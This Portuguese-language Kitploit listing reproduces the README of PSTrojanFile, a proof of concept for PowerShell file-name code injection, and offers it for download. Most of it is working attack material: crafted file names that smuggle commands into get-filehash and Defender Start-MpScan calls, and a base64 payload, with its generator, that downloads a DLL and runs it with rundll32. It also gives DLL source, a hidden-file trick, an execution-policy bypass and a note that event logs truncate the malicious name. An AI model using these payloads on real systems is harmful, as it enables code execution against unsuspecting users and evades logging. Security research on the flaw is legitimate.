Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PSTrojanFile — POC de Execução de Código por Nome de Arquivo no Windows PowerShell Não Corrigido | Kitploit
Ferramentas/GitHubGitHub/hyp3rlinx/pstrojanfile
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoEvasão de IDS/IPSScripting e AutomaçãoCTFTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

POC de Execução de Código por Nome de Arquivo no Windows PowerShell Não Corrigido

428há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

PSTrojanFile

Nome de Arquivo do Windows PowerShell e API Anti-Malware do Defender - POC de Execução de Código

Descoberta: John Page (aka hyp3rlinx) 2019 e revisitado em 2023

Atualizado em 24 de dezembro de 2023

Contornando o obstáculo das aspas simples no PowerShell para execução de código e, de bônus, falha no log de eventos do Windows PowerShell!
O ponto e vírgula e o amigo operador "&" unem forças para capacidades de execução de código arbitrário.

Execute algum malware indesejado:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

OU

Verificação do Windows Defender Anti-Malware:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Onde Malware.exe reside no mesmo diretório, pense em download drive-by.

Falha no log de eventos do Windows, ID de evento 403 do PS, não registra o nome de arquivo verdadeiro devido ao truncamento:

Trecho do log do PS:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

Chamar o comando ping? Por que não
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

Efetuar logoff da vítima:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

Atualizado: 7 de dezembro de 2023, adicionado o vetor de CL e da API do Windows Defender, veja abaixo:

Como ainda funciona, tirei a poeira e fiz pequenas melhorias:

  1. Executar uma DLL remota usando rundll32
  2. Executar um script PS1 secundário não intencional ou arquivo de texto local (pode estar oculto)
  3. Atualizei o Script Python3 Criador de Nome de Arquivo Trojan PS1

Reportado pela primeira vez à Microsoft em 2019, mas permanece sem correção até o momento em que este texto foi escrito.

Execução remota de código através de um nome de arquivo especialmente elaborado.

A falha se deve ao ponto e vírgula ";" podemos decodificar um comando Base64 e executar diretamente do nome do arquivo PS1 ou apenas executar comandos.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

Execute comandos imediatamente

"Testing;saps (gc -) PoC;.ps1"

Vetores: clique duplo, arrastar e soltar no atalho do PS

Aproveita comandos PS abreviados alternativos, como "saps", "gc", para iniciar um processo, obter conteúdo, etc.

Exemplo de Execução de DLL:

Crie um arquivo PS1 trojan que tentará baixar e executar uma DLL remota chamada "1.d"

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

Código da DLL:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

Clique duas vezes no arquivo PS1 trojan.

Exemplo de Execução de Código via Arquivo de Texto:

Crie um arquivo PS1 com nome incluindo saps "start a process" e gc "get-content"; isso lerá comandos de um arquivo oculto.

"Test;saps (gc -) PoC;.ps1"

Crie um arquivo oculto: attrib +s +h "-"

Clique duas vezes ou arraste e solte.

Requisitos:

a) Os arquivos PS1 do PowerShell devem estar configurados para abrir com o PowerShell como programa padrão

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) O usuário deve clicar duas vezes, executar pela linha de comando ou arrastar e soltar o script PS1 com nome malicioso

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

Atualização: API PowerShell do Microsoft Defender Anti-Malware - Execução Arbitrária de Código.

O Microsoft Defender Anti-Malware e/ou as APIs do PS podem resultar na execução de código arbitrário. Por exemplo, verificar um diretório, atalho .lnk ou até mesmo um item inexistente pode executar código não intencional. Este vetor se baseia no meu advisory anterior e no subsequente projeto PSTrojanFile.

Requisitos:

  1. Na CL, o cmd 'powershell' é prefixado ou passado ao chamar o PowerShell a partir de outro script
  2. Arquivo executável com o mesmo nome do parâmetro que reside nas proximidades

Exemplos:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe reside na Área de Trabalho)

Crie o diretório ";saps Test", Test.exe, Test.cmd etc. no mesmo caminho da CL
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Crie um diretório com ponto e vírgula e coloque um arquivo PE chamado doom.exe no mesmo caminho.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

Por último, mas não menos importante: Ao obter um hash de arquivo no PowerShell, isso efetua o seu logoff :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

Baixar ferramenta